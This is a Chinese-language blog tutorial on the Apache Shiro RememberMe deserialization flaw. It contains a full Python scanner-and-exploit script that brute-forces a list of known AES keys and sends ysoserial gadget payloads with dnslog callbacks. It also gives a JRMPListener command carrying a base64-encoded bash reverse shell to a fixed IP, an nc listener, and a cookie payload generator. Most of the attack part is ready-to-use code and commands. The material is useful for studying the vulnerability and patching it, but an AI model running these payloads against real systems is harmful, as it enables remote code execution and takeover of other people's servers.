一文看懂shiro反序列化漏洞 一文看懂shiro反序列化漏洞

一文看懂shiro反序列化漏洞

Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。

 

工 作 原 理

Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie。cookie的key为RememberMe,cookie的值是经过对相关信息进行序列化,然后使用aes加密,最后在使用base64编码处理形成的。

Shiro记住用户会话功能的逻辑如下:

获取RememberMe的值 —> Base64解密 —> ASE解密 –> 反序列化

在服务端接收cookie值时,按照如下步骤来解析处理:
1、检索RememberMe cookie 的值2、Base 64解码3、使用AES解密(加密密钥硬编码)4、进行反序列化操作(未作过滤处理)在调用反序列化时未进行任何过滤,导致可以触发远程代码执行漏洞。

 

漏 洞 原 理

因为在反序列化时,不会对其进行过滤,所以如果传入恶意代码将会造成安全问题
在 1.2.4 版本前,是默认ASE秘钥,Key: kPH+bIxk5D2deZiIxcaaaA==,可以直接反序列化执行恶意代码
而在1.2.4之后,ASE秘钥就不为默认了,需要获取到Key才可以进行渗透

 

漏 洞 复 现

docker pull medicean/vulapps:s_shiro_1docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1访问 http://127.0.0.1:8081即可

漏洞扫描:shiro_scan.py

  •  
  •  
#! python2.7import osimport reimport base64import uuidimport subprocessimport requestsimport sysimport jsonimport timeimport randomimport argparsefrom Crypto.Cipher import AES
JAR_FILE = 'ysoserial.jar'
CipherKeys = [ "kPH+bIxk5D2deZiIxcaaaA==", "4AvVhmFLUs0KTA3Kprsdag==", "3AvVhmFLUs0KTA3Kprsdag==", "2AvVhdsgUs0FSA3SDFAdag==", "6ZmI6I2j5Y+R5aSn5ZOlAA==", "wGiHplamyXlVB11UXWol8g==", "cmVtZW1iZXJNZQAAAAAAAA==", "Z3VucwAAAAAAAAAAAAAAAA==", "ZnJlc2h6Y24xMjM0NTY3OA==", "L7RioUULEFhRyxM7a2R/Yg==", "RVZBTk5JR0hUTFlfV0FPVQ==", "fCq+/xW488hMTCD+cmJ3aQ==", "WkhBTkdYSUFPSEVJX0NBVA==", "1QWLxg+NYmxraMoxAXu/Iw==", "WcfHGU25gNnTxTlmJMeSpw==", "a2VlcE9uR29pbmdBbmRGaQ==", "bWluZS1hc3NldC1rZXk6QQ==", "5aaC5qKm5oqA5pyvAAAAAA==", #"ZWvohmPdUsAWT3=KpPqda", "r0e3c16IdVkouZgk1TKVMg==", "ZUdsaGJuSmxibVI2ZHc9PQ==", "U3ByaW5nQmxhZGUAAAAAAA==", "LEGEND-CAMPUS-CIPHERKEY==" #"kPv59vyqzj00x11LXJZTjJ2UHW48jzHN", ]
gadgets = ["JRMPClient","BeanShell1","Clojure","CommonsBeanutils1","CommonsCollections1","CommonsCollections2","CommonsCollections3","CommonsCollections4","CommonsCollections5","CommonsCollections6","CommonsCollections7","Groovy1","Hibernate1","Hibernate2","JSON1","JavassistWeld1","Jython1","MozillaRhino1","MozillaRhino2","Myfaces1","ROME","Spring1","Spring2","Vaadin1","Wicket1"]
session = requests.Session()def genpayload(params, CipherKey,fp): gadget,command = params if not os.path.exists(fp): raise Exception('jar file not found') popen = subprocess.Popen(['java','-jar',fp,gadget,command], stdout=subprocess.PIPE) BS = AES.block_size #print(command) pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() #key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(CipherKey), mode, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext
def getdomain(): try : ret = session.get("http://www.dnslog.cn/getdomain.php?t="+str(random.randint(100000,999999)),timeout=10).text except Exception as e: print("getdomain error:" + str(e)) ret = "error" pass return ret
def getrecord(): try : ret = session.get("http://www.dnslog.cn/getrecords.php?t="+str(random.randint(100000,999999)),timeout=10).text #print(ret) except Exception as e: print("getrecord error:" + str(e)) ret = "error" pass return ret
def check(url): if '://' not in url: target = 'https://%s' % url if ':443' in url else 'http://%s' % url else: target = url
print("checking url:" + url)
domain = getdnshost() if domain: reversehost = "http://" + domain
for CipherKey in CipherKeys: ret = {"vul":False,"CipherKey":"","url":target}
try: print("try CipherKey :" +CipherKey)
payload = genpayload(("URLDNS",reversehost),CipherKey,JAR_FILE)
print("generator payload done.")
r = requests.get(target,cookies={'rememberMe': payload.decode()},timeout=10)
print("send payload ok.") for i in range(1,5): print("checking.....")
time.sleep(2) temp = getrecord() if domain in temp: ret["vul"] = True ret["CipherKey"] = CipherKey break except Exception as e: print(str(e)) pass if ret["vul"]: break else: print("get dns host error") return ret
def exploit(url,gadget,params,CipherKey): if '://' not in url: target = 'https://%s' % url if ':443' in url else 'http://%s' % url else: target = url try: payload = genpayload((gadget, params),CipherKey,JAR_FILE) r = requests.get(target,cookies={'rememberMe': payload.decode()},timeout=10) print(r.text) except Exception as e: print("exploit error:" + str(e)) pass
def getdnshost(): reversehost = "" try : domain = getdomain() if domain=="error": print("getdomain error") else: #reversehost = "http://" +domain reversehost = domain #print("got reversehost : " + reversehost) except: pass return reversehost
def detector(url,CipherKey,command): result = [] if '://' not in url: target = 'https://%s' % url if ':443' in url else 'http://%s' % url else: target = url try: for g in gadgets: g = g.strip()
domain = getdnshost() if domain: if g == "JRMPClient": param = "%s:80" % domain else: param = command.replace("{dnshost}",domain) payload = genpayload((g, param),CipherKey,JAR_FILE) print(g + " testing.....") r = requests.get(target,cookies={'rememberMe': payload.decode()},timeout=10) #print(r.read()) for i in range(1,5): #print("checking.....") time.sleep(2) temp = getrecord() if domain in temp: ret = g #ret["CipherKey"] = CipherKey result.append(ret) print("found gadget:\t" + g) break else: print("get dns host error") #break #print(r.text) except Exception as e: print("detector error:" + str(e)) pass return result
def parser_error(errmsg): print("Usage: python " + sys.argv[0] + " [Options] use -h for help") sys.exit()
def parse_args(): # parse the arguments parser = argparse.ArgumentParser(epilog="\tExample: \r\npython " + sys.argv[0] + " -u target") parser.error = parser_error parser._optionals.title = "OPTIONS" parser.add_argument('-u', '--url', help="Target url.", default="http://127.0.0.1:8080",required=True) parser.add_argument('-t', '--type', help='Check or Exploit. Check :1 , Exploit:2 , Find gadget:3', default="1",required=False) parser.add_argument('-g', '--gadget', help='gadget', default="CommonsCollections2",required=False) parser.add_argument('-p', '--params', help='gadget params',default="whoami",required=False) parser.add_argument('-k', '--key', help='CipherKey',default="kPH+bIxk5D2deZiIxcaaaA==",required=False) return parser.parse_args()
if __name__ == '__main__': args = parse_args() url = args.url type = args.type command = args.params key = args.key gadget = args.gadget if type=="1": r = check(url) print("\nvulnerable:%s url:%s\tCipherKey:%s\n" %(str(r["vul"]),url,r["CipherKey"])) elif type=="2": exploit(url,gadget,command,key) print("exploit done.") elif type=="3": r = detector(url,key,command) if r : print("found gadget:\n") print(r) else: print("invalid type")

根据脚本里面的key进行扫描,并返回key

利用漏洞获取shell

使用jackson编码 http://www.jackson-t.ca/runtime-exec-payloads.html

nc监听反弹shell的端口

nc -lvp 1234

使用ysoserial.jar的JRMP监听(本机或者vps上监听)

  •  
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMjguMTEuMTU5LzExMjMgMD4mMQ==}|{base64,-d}|{bash,-i}"

生成payload的exp:shiro_exp.py

# -*- coding: utf-8 -*-import uuidimport base64import subprocessimport sysfrom Crypto.Cipher import AES

def encode_rememberme(command): popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() # 密钥使用检测成功的密钥 key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext
if __name__ == '__main__': payload = encode_rememberme(sys.argv[1]) print "rememberMe={0}".format(payload.decode())
  •  
python2 shiro_exp.py 10.228.11.159:6666 意思是把shell反弹到vsp(你的本机)上的6666端口

burp请求

成功获取shell

评论 0

挤眼 亲亲 咆哮 开心 想想 可怜 糗大了 委屈 哈哈 小声点 右哼哼 左哼哼 疑问 坏笑 赚钱啦 悲伤 耍酷 勾引 厉害 握手 耶 嘻嘻 害羞 鼓掌 馋嘴 抓狂 抱抱 围观 威武 给力
提交评论

清空信息
关闭评论
sitemap